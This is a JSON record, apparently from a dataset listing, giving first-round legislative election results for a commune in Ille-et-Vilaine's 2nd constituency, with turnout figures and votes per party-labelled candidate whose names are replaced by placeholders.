{"nom":"<NAME>","circ":"2ème circonscription","dpt":"Ille-et-Vilaine","inscrits":2932,"abs":1321,"votants":1611,"blancs":17,"nuls":10,"exp":1584,"res":[{"nuance":"MDM","nom":"Mme <NAME>","voix":696},{"nuance":"FI","nom":"<NAME>","voix":223},{"nuance":"LR","nom":"<NAME>","voix":160},{"nuance":"SOC","nom":"Mme <NAME>","voix":158},{"nuance":"FN","nom":"M. <NAME>","voix":144},{"nuance":"ECO","nom":"Mme <NAME>","voix":70},{"nuance":"REG","nom":"<NAME>","voix":29},{"nuance":"COM","nom":"Mme <NAME>","voix":17},{"nuance":"DIV","nom":"M. <NAME>","voix":15},{"nuance":"DIV","nom":"M. <NAME>","voix":15},{"nuance":"EXG","nom":"Mme <NAME>","voix":14},{"nuance":"ECO","nom":"M. <NAME>","voix":13},{"nuance":"ECO","nom":"Mme <NAME>","voix":13},{"nuance":"DVD","nom":"M. <NAME>","voix":9},{"nuance":"DIV","nom":"M. <NAME>","voix":8},{"nuance":"DIV","nom":"M. <NAME>","voix":0},{"nuance":"DVD","nom":"Mme <NAME>","voix":0}]} | 391 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.